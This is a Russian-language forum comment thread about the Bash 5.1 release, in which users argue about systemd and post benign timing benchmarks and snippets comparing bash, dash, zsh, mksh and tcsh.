Страшный сон системдунов зарелизился.
Ответить | Правка | Наверх | Cообщить модератору

	99. "Релиз командного интерпретатора Bash 5.1"	+3 +/–
	Сообщение от вынь любит вас во все девайсы (?), 08-Дек-20, 15:51
	Системда работает крайне стабильно. Постгрес упал, системктл показывает, что процесс активен и не может его рестартовать. И такая радость в LTS дистрах.
	Ответить | Правка | Наверх | Cообщить модератору

	102. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от псевдонимус (?), 08-Дек-20, 15:56
	> Системда работает крайне стабильно. > Постгрес упал, системктл показывает, что процесс активен и не может его рестартовать. > И такая радость в LTS дистрах. Зато нет "портянок на баш" :-))) Это встроенная в системду развивающая игрушка. Чтобы обмин не заскучал. Что поделка пишет в свой недожурнал?
	Ответить | Правка | Наверх | Cообщить модератору

	109. "Релиз командного интерпретатора Bash 5.1"	+2 +/–
	Сообщение от вынь любит вас во все девайсы (?), 08-Дек-20, 16:11
	Логи не изучал. Не так давно Был инцидент у заказчика, упал портал. Моя задача была быстро поднять все взад, ребут решил вопрос. Неоднократно встречал сию проблему, когда дибилойд-системд находится в полной обсракции, если процесс именно падает.
	Ответить | Правка | Наверх | Cообщить модератору

	144. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от псевдонимус (?), 08-Дек-20, 18:04
	> Логи не изучал. Не так давно Был инцидент у заказчика, упал портал. > Моя задача была быстро поднять все взад, ребут решил вопрос. > Неоднократно встречал сию проблему, когда дибилойд-системд находится в полной обсракции, > если процесс именно падает. Оно досихпор подение "сервАйса"©™ не может нормально обработать? ;-) Что за дистрибутив?
	Ответить | Правка | Наверх | Cообщить модератору

	100. "Релиз командного интерпретатора Bash 5.1"	+7 +/–
	Сообщение от Аноним (-), 08-Дек-20, 15:54
	>Страшный сон системдунов зарелизился. Просто напросто последователи systemD не осилили GNU bash. И за этого неосиляторства и идут все байки про "лапшу". Эту простую истину я понял совсем недавно и мне стало жалко того времени что я потратил на споры с "системдунами".
	Ответить | Правка | К родителю #86 | Наверх | Cообщить модератору

	127. "Релиз командного интерпретатора Bash 5.1"	+3 +/–
	Сообщение от Аноним (39), 08-Дек-20, 17:13
	> последователи systemD не осилили GNU bash В точку! И вместо пары строк на баше им приходится писать юниты+либы+бинари, которые прибиты шурупами к системде и в них нифига не исправишь, естественно.
	Ответить | Правка | Наверх | Cообщить модератору

	166. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от VINRARUS (ok), 08-Дек-20, 20:04
	>> последователи systemD не осилили GNU bash > В точку! И вместо пары строк на баше им приходится писать юниты+либы+бинари, > которые прибиты шурупами к системде и в них нифига не исправишь, > естественно. моя шел твоя баш труба шатал,,,
	Ответить | Правка | Наверх | Cообщить модератору

	249. "Релиз командного интерпретатора Bash 5.1"	+2 +/–
	Сообщение от Видавший всякое (?), 09-Дек-20, 06:44
	> пары строк Вот давай без вранья.
	Ответить | Правка | К родителю #127 | Наверх | Cообщить модератору

	281. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (281), 10-Дек-20, 06:58
	Он имел ввиду пары сотен строк
	Ответить | Правка | Наверх | Cообщить модератору

97. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
Сообщение от Аноним12345 (?), 08-Дек-20, 15:41
А как же дженерики ???
Ответить | Правка | Наверх | Cообщить модератору

	124. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от Ordu (ok), 08-Дек-20, 16:57
	> А как же дженерики ??? Сначала надо типизацию завезти, и только потом дженерики. "Всё есть строка" не очень способствует дженерикам.
	Ответить | Правка | Наверх | Cообщить модератору

137. "Релиз командного интерпретатора Bash 5.1"	+2 +/–
Сообщение от Аноним (137), 08-Дек-20, 17:24
То что написано на баше 30 лет назад, заработает и сейчас.
Ответить | Правка | Наверх | Cообщить модератору

	141. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от Аноним (-), 08-Дек-20, 17:46
	>То что написано на баше 30 лет назад, заработает и сейчас. fixed С этого предложения надо бы и начинать эту новость.
	Ответить | Правка | Наверх | Cообщить модератору

153. "Релиз командного интерпретатора Bash 5.1"	+/–
Сообщение от VINRARUS (ok), 08-Дек-20, 19:12
Bash такой же  как и system:D мегакусок говнокода. А 5.1 ещо более тормозное и размазаное удобрение чем 5.0: time bash-5.0 -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done' real    0m6,178s user    0m6,173s sys     0m0,005s time bash-5.1 -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done' real    0m7,184s user    0m7,184s sys     0m0,001s time dash-0.5.10.2 -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done' real    0m2,186s user    0m2,185s sys     0m0,001s Скомпилировано и сконфигурировано на OpenSUSE. ПС: кто не понял — в этом примере dash на 329% быстрее исполняет скрипт чем bash-5.1
Ответить | Правка | Наверх | Cообщить модератору

	180. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (180), 08-Дек-20, 20:37
	Баш вообще в циклах хреново работает, ты бы ещё файл построчно читать попробовал. Вот попробуй, охренеешь. Поэтому циклы лучше на линуксовые утилиты положить, а не на баш. Башу только управление софтом, переменными, функциями можно и это реально бомба.
	Ответить | Правка | Наверх | Cообщить модератору

	184. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от VINRARUS (ok), 08-Дек-20, 20:45
	> Баш вообще в циклах хреново работает, ты бы ещё файл построчно читать > попробовал. Вот попробуй, охренеешь. > Поэтому циклы лучше на линуксовые утилиты положить, а не на баш. Башу > только управление софтом, переменными, функциями можно и это реально бомба. Мне вот нада скриптом управлять скоростью вентилятора следя за термодатчиками, используя простую арифметику делать плавное увеличение\уменьшение оборотов. Я написал скрипт весом 4 кб на sh, 4 года работает без проблем. На какие альтернативы среди утилит положыть эту логику?
	Ответить | Правка | Наверх | Cообщить модератору

	186. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (180), 08-Дек-20, 20:58
	Да для таких простых задач баш пригоден. Я имею ввиду какие-то жёсткие задачи, типо анализа текстового файла в десятки гигабайт, или запуска каких-то команд где очень быстро будет передаваться управление обратно в цикл, и весь скрипт из-за этого будет тормозить, упираться в баш.
	Ответить | Правка | Наверх | Cообщить модератору

	203. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (180), 08-Дек-20, 22:28
	Ну и эта команда на которой ты тестриуешь баш это не есть показать. У тебя простой цикл с инкриментом. Ну о чём это говорит вообще? Это не ЯП, это скриптовый, управлеченский код, нагруженные циклические проги прямо на него накидывать это бред, неэффективно. Баш в этой ситуации медленнее питона, но просто потому что ты баш применил так. А вот питон по другому не применить уже, вот это разница.
	Ответить | Правка | К родителю #153 | Наверх | Cообщить модератору

	211. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от VINRARUS (ok), 08-Дек-20, 22:48
	> Это не ЯП, это скриптовый, управлеченский код, нагруженные циклические > проги прямо на него накидывать это бред, неэффективно. Shell это язык програмирования! Просто большынство юзеров юникса больше однострочников не пишут. ПС: питон не эфективен, юзай асм.
	Ответить | Правка | Наверх | Cообщить модератору

	207. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 22:34
	Зачем тебе баш если ты его не используешь?.. ~ $ time bash -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done' real    0m6.578s user    0m6.569s sys     0m0.000s ~ $  time bash -c 'D=1; while [[ "$D" -lt 1000000 ]]; do ((D+=1)); done' real    0m3.558s user    0m3.551s sys     0m0.001s ~ $  time bash -c 'declare -i D=1; while ((D<1000000)); do ((D+=1)); done' real    0m2.510s user    0m2.505s sys     0m0.001s то же самое с регулярками и всем остальным
	Ответить | Правка | К родителю #153 | Наверх | Cообщить модератору

	215. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 23:23
	А вот, кстати, zsh (но он по фичам несовместим с башем, да): ~ $  time zsh -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done' real    0m4.796s user    0m4.470s sys     0m0.321s ~ $  time zsh -c 'D=1; while [[ "$D" -lt 1000000 ]]; do ((D+=1)); done' real    0m1.131s user    0m1.129s sys     0m0.001s ~ $  time zsh -c 'D=1; while ((D<1000000)); do ((D+=1)); done' real    0m0.868s user    0m0.867s sys     0m0.000s ~ $  time zsh -c 'declare -i D=1; while ((D<1000000)); do ((D+=1)); done' real    0m0.681s user    0m0.680s sys     0m0.000s
	Ответить | Правка | Наверх | Cообщить модератору

	217. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от VINRARUS (ok), 08-Дек-20, 23:41
	Тогда уже не "((D+=1))", а "((D++))" наверно. Даже такими титаническими усилиями оно значительно медленнее даша. А также у меня огромные вопросы к смыслу таких усилий и того какое это имеет отношение к shell. ПС: я тоже читерить умею time dash -c 'D=1; while true; do case "$D" in 1000000) exit;; esac; D="$((D+1))"; done' real    0m0,964s user    0m0,958s sys     0m0,004s :Р
	Ответить | Правка | К родителю #207 | Наверх | Cообщить модератору

	218. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 23:55
	> Тогда уже не "((D+=1))", а "((D++))" наверно. А какая разница? > Даже такими титаническими усилиями оно значительно медленнее даша. А также у меня > огромные вопросы к смыслу таких усилий и того какое это имеет > отношение к shell. Что там титанического? В моём коде ничего титаническго, совершенно 0 усилий. Никаких хаков. Я всегда только так и пишу. ~ time dash -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done' real    0m1.740s user    0m1.738s sys     0m0.000s $  time dash -c 'D=1; while true; do case "$D" in 1000000) exit;; esac; D="$((D+1))"; done' real    0m1.097s user    0m1.095s sys     0m0.001s $  time zsh -c 'declare -i D=1; while ((D<1000000)); do ((D+=1)); done' real    0m0.682s user    0m0.681s sys     0m0.000s Итого, даш даже с грязнохаками слился "башизмам".
	Ответить | Правка | Наверх | Cообщить модератору

	222. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от VINRARUS (ok), 09-Дек-20, 00:50
	>> Тогда уже не "((D+=1))", а "((D++))" наверно. > А какая разница? Если б bash нормально был написан то наверно никакой бы небыло, но по факту быстрее. >> Даже такими титаническими усилиями оно значительно медленнее даша. А также у меня >> огромные вопросы к смыслу таких усилий и того какое это имеет >> отношение к shell. > Что там титанического? В моём коде ничего титаническго, совершенно 0 усилий. Никаких > хаков. Я всегда только так и пишу. Ну да, обьясни интерпритатуру сначала шо тот набор цыфр это номер, а не слово, потом используй какие то левые С подобные конструкцыи, шобы интерпритатор исполнял роль тупого транслятора, а в итоге получи пшык в кепке. > Итого, даш даже с грязнохаками слился "башизмам". Слился в чом, в сложении? xD И да, я з zsh не знаком, по этому ничего про него сказать не могу, в отличии от забаганого баша.
	Ответить | Правка | Наверх | Cообщить модератору

	227. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 09-Дек-20, 01:19
	Какие баги? Нет никаких багов. А по синтаксису, это обычный bash синтаксис и встроенный оператор объявления массивов, переменных, объявления переменных глобальными и всего остального, ему уж лет сколько. От объявления переменной числом баш не выигрывает на таком "тесте", это зш оптимизирует на 20% или сколько там, но вообще для счётчиков довольно эффективно. Я просто объявляю все числа числами, очень удобно. Вон там соседний ответ, расскажи пожалуйста, как удалить последний элемент массива в dash и как складывать числа в dash, я хочу сравнить производительность на сложении чисел (числа простые строки в массиве, без всего).
	Ответить | Правка | Наверх | Cообщить модератору

	273. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от VINRARUS (ok), 09-Дек-20, 19:29
	>Я просто объявляю все числа числами, очень удобно. А я не обьявляю числа числами так как в этом нет необходимости — ещо удобнее. >Вон там соседний ответ, расскажи пожалуйста, как удалить последний элемент массива в dash и как складывать числа в dash, я хочу сравнить производительность на сложении чисел (числа простые строки в массиве, без всего). raye="2 4 8 16 32 64 128 256 512 1024" raye="${raye% *}" echo "$raye" На какую купку складывать?
	Ответить | Правка | Наверх | Cообщить модератору

	279. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 09-Дек-20, 22:42
	А ничего особенного, типичная задача сложить миллион другой чисел, что такого. Как узнать в даше что это даш? Я так понял сложение чисел это слишком сложная задача для даша, поскольку массивов нет количество элементов я тоже узнать не могу? Это фейл. Как мне получить последнее значение в строке? Его нужно сохранить в отдельную переменную и только потом удалить. А нное значение? Зачем нужен шел который не умеет даже таких базовых вещей? Тот же tcsh и то больше может, хотя казалось бы. Но, тот складывать вообще не умеет, так что массивы ему не помогут. Но, блин, серьёзно, шел без массивов это что-то ты даже параметры не сможешь передать программе поскольку они будут одной строкой. Т.е. только хардкод параметров будет ещё как-то работать и изменять параметры нельзя. Ещё не понял, почему у даша в конце 3 значения к удалению, когда у баша и зш их 2 (вообще должно быть одно, но просто файл такой). Я удаляю любые повторяющиеся значения в цикле проверяя корректность содержимого регуляркой, чего даш тоже не умеет. Можно нагородить сед наверно, но мне лень. Значения разделены не пробелами, а новой строкой, поэтому удалил их вот так raye="${raye% *}" поскольку башевого $'\n' тоже нет. Потребление памяти у даша 32мб и у баша 200мб, у зш 90мб. Ну т.е. в принципе пусть живёт, но это насилие над пользователем, а не шел -- куча "нельзя". У баша без массива потребление памяти  120 мегабайт и у зш 15мб (я не уверен что сделал это корректно, for по строке разделённой \n он что-то не смог похоже). Получается зш практически однозначный победитель, он позволяет использовать разнообразные башизмы и при этом наиболее эффективен. Интересный факт: если избежать присвоения копии массива в zsh (поскольку он может только копировать, но не занулять? значит, неосуществимо) его потребление памяти в варианте с массивом падает в 2 раза до 50мб.
	Ответить | Правка | Наверх | Cообщить модератору

	280. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от VINRARUS (ok), 10-Дек-20, 00:05
	>Как узнать в даше что это даш? whatshell.sh >Я так понял сложение чисел это слишком сложная задача для даша, поскольку массивов нет количество элементов я тоже узнать не могу? Это фейл. Стопэ. Отстань со своими ращосками от тех у кого нет волос. ;) Вот тебе красивая сума всех аргументов и без масивов: raye(){ SUM=0 N=$# while [ -n "$1" ] do SUM=$((SUM+$1)) shift done } raye 2 4 8 16 32 64 128 256 512 1024 echo "Z$N: $SUM" И через $2 внутри функцыи можна обращаться к конкретной позицыи. >Но, блин, серьёзно, шел без массивов это что-то ты даже параметры не сможешь передать программе поскольку они будут одной строкой Ой, нет, без волос не умирают. Нет, мозги не испарятся без них. А если холодно есть кепка. # yes "1 2 3 4" >Значения разделены не пробелами, а новой строкой А как они добавляются в волосы, ой, то есть в масив? Я с масивами никогда не работал и до сих пор не понимаю нашо они нада.
	Ответить | Правка | Наверх | Cообщить модератору

	224. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 09-Дек-20, 01:11
	tcsh похоже победитель: $  time tcsh ~/bin/cshvariant.sh real    9m20.743s user    6m18.812s sys     3m31.950s Бтв как удалить последний элемент из массива в zsh? Вот это чёт не прокатывает unset 'raye[${#raye[@]}-1]' (в баше работает), а то в баше я просто напишу unset raye[-1] и всё норм. Короче только вот так, raye=("${(@)raye[1,$#raye-1]}") В итоге, на более реальной задаче баш складывает несколько чисел (300000 чисел) за real    0m34.796s user    0m2.884s sys     0m3.044s и зш за real    0m35.218s user    0m2.913s sys     0m3.113s вот и всё. :( и что-то сразу на реальном кейсе всё посыпалось, я надеялся будет хоть чуточку побыстрее.
	Ответить | Правка | К родителю #218 | Наверх | Cообщить модератору

	208. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (180), 08-Дек-20, 22:37
	~$ time bash -c 'declare -i D=1; while ((D<1000000)); do ((D+=1)); done' real    0m4.937s user    0m4.925s sys    0m0.004s На процессоре 2006 года релиза.
	Ответить | Правка | К родителю #153 | Наверх | Cообщить модератору

	214. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от VINRARUS (ok), 08-Дек-20, 23:16
	А с dash?
	Ответить | Правка | Наверх | Cообщить модератору

	225. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (263), 09-Дек-20, 01:11
	Забавный тест, вот другой, где все "несколько иначе": ~> time dash -c 'for a in `seq 100000`; do ( :; ); done'     0m14.03s real     0m09.18s user     0m08.42s system ~> time ash -c 'for a in `seq 100000`; do ( :; ); done'     0m45.92s real     0m33.87s user     0m15.39s system ~> time mksh -c 'for a in `seq 100000`; do ( :; ); done'     0m18.92s real     0m12.37s user     0m10.22s system ~> time bash -c 'for a in `seq 100000`; do ( :; ); done'     0m24.39s real     0m16.00s user     0m13.59s system Занимательно, что твой тест в ash просто летает: ~> time dash -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'                                                             0m02.59s real     0m02.58s user     0m00.00s system ~> time ash -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'                                                               0m04.02s real     0m03.67s user     0m00.34s system ~> time mksh -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'                                                             0m04.80s real     0m04.79s user     0m00.00s system ~> time bash -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'                                                             0m09.51s real     0m09.49s user     0m00.00s system dash-0.5.10.2 bash-5.0.17 mksh-59 busybox-1.31.1
	Ответить | Правка | К родителю #153 | Наверх | Cообщить модератору

	233. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 09-Дек-20, 01:45
	Отличные "тесты", ага. Десятиминутный победитель из того теста справился тут за секунду. $  time tcsh ~/bin/cshseq.sh real    0m1.250s user    0m0.765s sys     0m0.469s $  time dash -c 'for a in `seq 100000`; do ( :; ); done' real    0m14.488s user    0m8.667s sys     0m6.319s $  time bash -c 'for a in `seq 100000`; do ( :; ); done' real    0m36.407s user    0m19.588s sys     0m17.738s $  time zsh -c 'for a in `seq 100000`; do ( :; ); done' real    0m45.363s user    0m22.131s sys     0m25.281s
	Ответить | Правка | Наверх | Cообщить модератору

	237. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (263), 09-Дек-20, 02:07
	Хз, что у тебя в скрипет, а у меня: ~> cat t.tcsh foreach a (`seq 100000`) (:;) end ~> time tcsh t.tcsh     0m26.02s real     0m16.09s user     0m15.83s system
	Ответить | Правка | Наверх | Cообщить модератору

	238. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 09-Дек-20, 02:13
	#/bin/tcsh foreach i ( `seq 100000` )    :; end можно с echo "$i" -- ровно то же самое.
	Ответить | Правка | Наверх | Cообщить модератору

	240. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 09-Дек-20, 02:17
	В шебанге опечатка, но я скармливал интерпретатору поэтому не важно.
	Ответить | Правка | Наверх | Cообщить модератору

	261. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (261), 09-Дек-20, 14:26
	В dash/bash круглые скобки форкают sub-shell. Я так понимаю, скрипт tcsh этого не делает, так что тест некорректен.
	Ответить | Правка | К родителю #238 | Наверх | Cообщить модератору

	266. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (263), 09-Дек-20, 15:00
	> В dash/bash круглые скобки форкают sub-shell. Я так понимаю, скрипт tcsh этого > не делает, так что тест некорректен. https://linux.die.net/man/1/tcsh Builtin and non-builtin command execution Builtin commands are executed within the shell. If any component of a pipeline except the last is a builtin command, the pipeline is executed in a subshell. Parenthesized commands are always executed in a subshell.     (cd; pwd); pwd thus prints the home directory, leaving you where you were (printing this after the home directory), while     cd; pwd leaves you in the home directory. Parenthesized commands are most often used to prevent cd from affecting the current shell.
	Ответить | Правка | Наверх | Cообщить модератору

	278. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (261), 09-Дек-20, 22:11
	О том и речь.
	Ответить | Правка | Наверх | Cообщить модератору

	241. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 09-Дек-20, 02:20
	В общем да на (:;) выдало это real    0m46.337s user    0m24.146s sys     0m24.104s
	Ответить | Правка | К родителю #237 | Наверх | Cообщить модератору

198. "Релиз командного интерпретатора Bash 5.1"	+/–
Сообщение от Аноним (261), 08-Дек-20, 22:03
> Вызов malloc на 64-разрядных системах теперь выравнивает возвращаемую память по 16 байтовой границе. Что-то я не понял, а при чём тут bash?
Ответить | Правка | Наверх | Cообщить модератору

	256. "Релиз командного интерпретатора Bash 5.1"	–2 +/–
	Сообщение от Аноним (256), 09-Дек-20, 12:33
	> Что-то я не понял, а при чём тут bash? Чтоб понимать - нужно изучать и практиковать программинг. Ну там _align всякие c11 уже как минимум применять, а не диким криком неандертальца через все джунгли кричать о том что неее-е-е-поняяял
	Ответить | Правка | Наверх | Cообщить модератору

	260. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (261), 09-Дек-20, 14:21
	Ваш комментарий очень важен и всё сразу объяснил. Спасибо Вам, о светоч мирового программинга. Для тех, кому на самом деле интересно, в составе bash есть встроенная реализация malloc, и в данном случае речь о ней.
	Ответить | Правка | Наверх | Cообщить модератору

	267. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (-), 09-Дек-20, 15:13
	>Ваш комментарий очень важен и всё сразу объяснил. Спасибо Вам, о светоч мирового программинга. А хамить обязательно надо?
	Ответить | Правка | Наверх | Cообщить модератору

	271. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (261), 09-Дек-20, 17:08
	> А хамить обязательно надо? Это вопрос не ко мне, а к тому анониму, который написал комментарий #256.
	Ответить | Правка | Наверх | Cообщить модератору

	275. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от VINRARUS (ok), 09-Дек-20, 19:51
	>а к тому анониму, который написал комментарий #256 Эй, Аноним, зачем разговариваеш сам з собой?
	Ответить | Правка | Наверх | Cообщить модератору

257. "Релиз командного интерпретатора Bash 5.1"	+/–
Сообщение от Аноним (257), 09-Дек-20, 13:03
> Переработан движок генерации псевдослучайных чисел. Добавлена переменная SRANDOM, содержащая случайное 32-разрядное число из системного генератора псевдослучайных чисел (вместо LCRNG использованы вызовы getrandom/getentropy, /dev/urandom или arc4random, в зависимости от ОС). Выдаваемая последовательность теперь не является линейной и не повторяется при идентичном следовании запросов. То то я думаю, что такое, каждый раз под андроидом запускаю VLC плеер, музыку послушать из папки (директории). И VLC каждый раз начинает с одной и той же песни и примерно 3-5 песен в последовательности с начала одни и теже. get_random() { echo "42" } # it is my lovely random number ;) Вот какой рандом в андроиде ;) Может быть с этой версии bash-а все будет гораздо лучше ;)
Ответить | Правка | Наверх | Cообщить модератору

	274. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от VINRARUS (ok), 09-Дек-20, 19:41
	Ещо один признак кривости bash и его ненужности. Это ж нада было так упороться шобы повторяющиеся числа даже не попытаться сдвинуть по времени запуска хотя б... ПС: dd if=/dev/urandom bs=256 count=1 | tr -dc 0-9 | head -c 6
	Ответить | Правка | Наверх | Cообщить модератору

283. "Релиз командного интерпретатора Bash 5.1"	+/–
Сообщение от Аноним (283), 10-Дек-20, 15:46
Когда уже rprompt заведут? В древнем tcsh есть!
Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема